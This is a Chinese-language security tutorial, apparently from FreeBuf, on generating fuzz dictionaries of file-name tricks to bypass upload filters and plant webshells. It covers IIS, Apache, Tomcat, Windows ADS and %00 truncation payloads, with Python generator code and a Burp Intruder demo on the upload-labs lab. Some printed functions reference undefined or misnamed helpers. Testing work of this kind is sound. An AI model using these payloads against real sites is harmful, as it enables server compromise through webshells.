構造優質上傳漏洞Fuzz字典

上傳漏洞的利用姿勢很多,同時也會因爲語言,中間件,操作系統的不同,利用也不同。比如有:大小寫混合.htaccess解析漏洞00截斷.繞過空格繞過::$DATA繞過,以及多種姿勢的組合等等。當遇到一個上傳點,如何全面的利用以上姿勢測試一遍,並快速發現可以成功上傳webshell的姿勢?

方案一:一個一個手工測試

手工把所有姿勢測試一遍,先不說花費大量時間,還很可能會遺漏掉某些姿勢而導致無法利用成功。

方案二:fuzz

在fuzz時我們往往會給一個輸入點喂入大量特殊的數據。這個特殊的數據可能隨機的,毫無規律的,甚至我們都無法預知的。但我思考了一下,這樣的fuzz方式只是適合在本地fuzz 0day漏洞,並不適合通過fuzz在線網站的上傳點,快速找出可以成功上傳webshell的payload,因爲時間成本排在哪裏。

通過思考,我們可以知道如果能根據上傳漏洞的場景(後端語言,中間件,操作系統)來生成優質的fuzz字典,然後使用該字典進行fuzz,就能消除以上兩個解決方案的弊端!

一、構想

在動手之前我們來思考下上傳漏洞跟那些因素有關:

1.可解析的後綴,也就是該語言有多個可解析的後綴,比如php語言可解析的後綴爲php,php2,php3等等

2.大小寫混合,如果系統過濾不嚴,可能大小寫可以繞過。

3.中間件,每款中間件基本都解析漏洞,比如iis就可以把xxx.asp;.jpg當asp來執行。

4.系統特性,特別是Windows的後綴加點(.),加空格,加::$DATA可以繞過目標系統。

5.語言漏洞,流行的三種腳本語言基本都存在00截斷漏洞。

6.雙後綴,這個與系統和中間件無關,偶爾會存在於代碼邏輯之中。

整理以上思考,我們把生成字典的規則梳理爲以下幾條:

可解析的後綴+大小寫混合 可解析的後綴+大小寫混合+中間件漏洞 .htaccess + 大小寫混合 可解析的後綴+大小寫混合+系統特性 可解析的後綴+大小寫混合+語言漏洞 可解析的後綴+大小寫混合+雙後綴

下面我們根據上面的構想,來分析每一方面的細節,並使用代碼來實現。

二、可解析後綴

其實很多語言都這樣,有多個可以解析後綴。當目標站點採用黑名單時,往往包含不全。以下我收集相對比較全面的可解析後綴,爲後面生成字典做材料。

語言

可解析後綴

asp/aspx

asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr

php

php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml

jsp

jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

三、大小寫混合

有些網站過濾比較簡單,只是過濾了腳本後綴,但是沒有對後綴進行統一轉換爲小寫,在進行判斷。這就純在一個大小寫問題。這裏我們可以編寫兩個函數,一個函數是傳入一個字符串,函數返回該字符串所有大小寫組合的可能,第二個函數是基於第一個函數,把一個list的傳入返回一個list內所有字符的所有大小寫組合的可能。

## 字符串大小寫混合,返回字符串所有大寫可能
def str_case_mixing(word):
    str_list = []
    word = word.lower()
    tempWord = copy.deepcopy(word)
    plist = []
    redict = {}
    for char in range( len( tempWord ) ):
        char = word[char]
        plist.append(char) 
    num = len( plist )
    for i in range( num ):
        for j in range( i , num + 1 ):
            sContent = ''.join( plist[0:i] )
            mContent = ''.join( plist[i:j] )
            mContent = mContent.upper()
            eContent = ''.join( plist[j:] )
            content = '''%s%s%s''' % (sContent,mContent,eContent)
            redict[content] = None

    for i in redict.keys():
        str_list.append(i)

    return str_list

## list大小寫混合
def list_case_mixing(li):
    res = []
    for l in li:
        res += uperTest(l)
    return res

四、中間件的漏洞

這塊是比較複雜的一塊。首先我們先來梳理下

4.1 iis

iis一共有三個解析漏洞:

1.IIS6.0文件解析 xx.asp;.jpg2.IIS6.0目錄解析 xx.asp/1.jpg3.IIS 7.0畸形解析 xxx.jpg/x.asp

由於2和3和上傳的文件名無關,故我們只根據1來生成fuzz字典

def iis_suffix_creater(suffix):
    res = []
    for l in suffix:
        str ='%s;.%s' % (l,allow_suffix)
        res.append(str)
    return res

4.2 apache

apache相關的解析漏洞有兩個:

1.%0a(CVE-2017-15715)
2.未知後綴 test.php.xxx

根據以上構造apache_suffix_builder函數生成規則:

def apache_suffix_creater(suffix):
    res = []
    for l in suffix:
        str = '%s.xxx' % l
        res.append(str)
        str = '%s%s' % (l,urllib.unquote('%0a')) #CVE-2017-15715
        res.append(str)
    return res

4.3 nginx

nginx解析漏洞有三個:

訪問連接加/xxx.php test.jpg/xxx.php 畸形解析漏洞 test.jpg%00xxx.php CVE-2013-4547 test.jpg(非編碼空格)\0x.php

nginx的解析漏洞,由於和上傳的文件名無關,故生成字典無需考慮。

4.4 tomcat

tomcat用於上傳繞過的有三種,不過限制在windows操作系統下。

xxx.jsp/
xxx.jsp
xxx.jsp::$DATA

根據以上規則生成字典對應的代碼爲:

win_tomcat = ['%20','::$DATA','/']
def tomcat_suffix_creater(suffix):
    res = []
    for l in suffix:
        for t in win_tomcat:
            str = '%s%s' % (l,t)
            res.append(str)
    return res

如果確定中間件爲apache,可以加入.htaccess。同時如果操作系統還爲windows,我們可以大小寫混合。

if (middleware == 'apache' or middleware == 'all') and (os == 'win' or os == 'all'):
    htaccess_suffix = uperTest(".htaccess")
elif (middleware == 'apache' or middleware == 'all') and os == 'linux':
    htaccess_suffix = ['.htaccess']
else:
    htaccess_suffix = []

4.5 語言,中間件與操作系統的關係

以上我們根據每個中間件的漏洞,編寫了對應的fuzz字典生成函數。在最終生成字典時,我們還要考慮中間件可以運行那些語言,以及它們與平臺的關係。

語言

IIS

Apache

Tomcat

Window

Linux

asp/aspx

×

php

jsp

×

根據上表,我們明白:

iis下可以運行asp/aspx,php,jsp腳本,故這3種腳本語言可解析後綴均應該傳入iis_suffix_builder()進行處理;

apache下可以運行asp/aspx,php。故這2兩種腳本語言可解析後綴均應該傳入apache_suffix_builder()進行處理;

tomcat下可以運行php,jsp,故這兩個腳本語言可解析後綴均應該傳入tomcat_suffix_builder()進行處理。

注意:根據對tomcat上傳的繞過分析,發現之後在windows平臺下才能成功。故之後在Windows平臺下才會調用tomcat_suffix_builder()對可解析後綴進行處理。

故僞代碼可以編寫如下:

if middleware == 'iis':
    case_asp_php_jsp_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_jsp_parse_suffix
    middleware_parse_suffix = iis_suffix_creater(case_asp_php_jsp_parse_suffix)
elif middleware == 'apache':
    case_asp_php_html_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_html_parse_suffix
    middleware_parse_suffix = apache_suffix_creater(case_asp_php_html_parse_suffix)
elif middleware == 'tomcat' and os == 'linux':
    middleware_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix
elif middleware == 'tomcat' and (os == 'win' or os == 'all'):
    case_php_jsp_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix
    middleware_parse_suffix = tomcat_suffix_creater(case_php_jsp_parse_suffix)
else:
    case_asp_php_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix
    iis_parse_suffix = iis_suffix_creater(case_asp_php_parse_suffix)
    case_asp_php_html_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_html_parse_suffix
    apache_parse_suffix = apache_build(case_asp_php_html_parse_suffix)
    case_php_jsp_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix
    tomcat_parse_suffix = tomcat_build(case_php_jsp_parse_suffix)        
    middleware_parse_suffix = iis_parse_suffix + apache_parse_suffix + tomcat_parse_suffix

五、系統特性

經過查資料,目前發現在系統層面,有以下特性可以被上傳漏洞所利用。

Windows下文件名不區分大小寫,Linux下文件名區分大寫歐西;

Windows下ADS流特性,導致上傳文件xxx.php::$DATA = xxx.php;

Windows下文件名結尾加入.,空格,<>,>>>,0x81-0xff等字符,最終生成的文件均被windows忽略。

# 生成0x81-0xff的字符list
def str_81_to_ff():
    res = []
    for i in range(129,256):
        str = '%x' % i
        str = '%' + str
        str = urllib.unquote(str)
        res.append(str)
    return res
windows_os = [' ','.','/','::$DATA','<','>','>>>','%20','%00'] + str_81_to_ff()
def windows_suffix_builder(suffix):
    res = []
    for s in suffix:
        for w in windows_os:
            str = '%s%s' % (s,w)
            res.append(str)
    return res

六、語言的漏洞

語言漏洞被利用於上傳的有%00截斷和0x00截斷。它們在asp,php和jsp中都存在着。

def str_00_truncation(suffix,allow_suffix):
    res = []
    for i in suffix:
        str = '%s%s.%s' % (i,'%00',allow_suffix)
        res.append(str)
        str = '%s%s.%s' % (i,urllib.unquote('%00'),allow_suffix)
        res.append(str)
    return res

七、雙後綴

有些站點通過對上傳文件名進行刪除敏感字符(php,asp,jsp等等)的方式進行過濾,例如你上傳一個aphp.jpg的文件,那麼上傳之後就變成了a.jpg。這時就可以利用雙後綴的方式上傳一個a.pphphp,最終正好生成a.php。其實雙後綴與中間件和操作系統無關,而是和代碼邏輯有關。

針對雙後綴,我們可以寫個str_double_suffix_creater(suffix)函數,傳入後綴名suffix即可生成所有的雙後綴可能。

def str_double_suffix_creater(suffix):
    res = []
    for i in range(1,len(suffix)):
        str = list(suffix)
        str.insert(i,suffix)
        res.append("".join(str))
    return res

list_double_suffix_creater(suffix)函數基礎上,可以編寫list_double_suffix_creater(list_suffix)來爲一個list生成所有雙後綴可能。

def list_double_suffix_creater(list_suffix):
    res = []
    for l in list_suffix:
        res += double_suffix_creater(l)
    return duplicate_removal(res)

八、整合代碼

上面我們針對和上傳漏洞相關的每個方面進行了細緻的分析,也提供了相關的核心代碼。最終整合後的代碼限於邊幅,就放在github上了。

github:https://github.com/c0ny1/upload-fuzz-dic-builder

$ python upload-fuzz-dic-builder.py -h
usage: upload-fuzz-dic-builder [-h] [-n] [-a] [-l] [-m] [--os] [-d] [-o]

optional arguments:
  -h, --help            show this help message and exit
  -n , --upload-filename
                        Upload file name
  -a , --allow-suffix   Allowable upload suffix
  -l , --language       Uploaded script language
  -m , --middleware     Middleware used in Web System
  --os                  Target operating system type
  -d, --double-suffix   Is it possible to generate double suffix?
  -o , --output         Output file

腳本可以之定義生成的上傳文件名(-n),允許的上傳的後綴(-a),後端語言(-l),中間件(-m),操作系統(—os),是否加入雙後綴(-d)以及輸出的字典文件名(-o)。我們可以根據場景來生成合適的字典,提供的信息越詳細,腳本生成的字典越精確。

九、案例

upload-labs靶場的Pass-03到Pass-10其實都是關於後綴的,在不知道代碼的情況下,我們如何快速發現可以繞過的後綴呢?這時我們就可以使用upload-fuzz-dic-builder.py腳本生成fuzz字典,來進行fuzz。這裏我選擇Pass-09來給大家演示。

1.利用腳本生成fuzz字典

由於知道我們的後端語言爲php,中間件爲apache,操作系統爲Windows。所以可以利用這些信息生成更精確的fuzz字典。

$ python upload-fuzz-dic-builder.py -l php -m apache --os win
[+] 收集17條可解析後綴完畢!
[+] 加入145條可解析後綴大小寫混合完畢!
[+] 加入152條中間件漏洞完畢!
[+] 加入37條.htaccess完畢!
[+] 加入10336條系統特性完畢!
[+] 去重後共10753條數據寫入upload_fuzz_dic.txt文件

2.抓包使用burp的Intruder模塊對上傳名稱進行fuzz

抓取upload-labs的Pass-09的上傳包,發送到Intruder模塊,加載第一步腳本生成的fuzz字典,對上傳的包的文件名進行fuzz。

經過測試,通過fuzz可以快速找到可以突破upload-labs那些基於後綴的Pass的payload。甚至fuzz出同一個Pass多種繞過的方法。

*本文作者:gv·殘亦,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章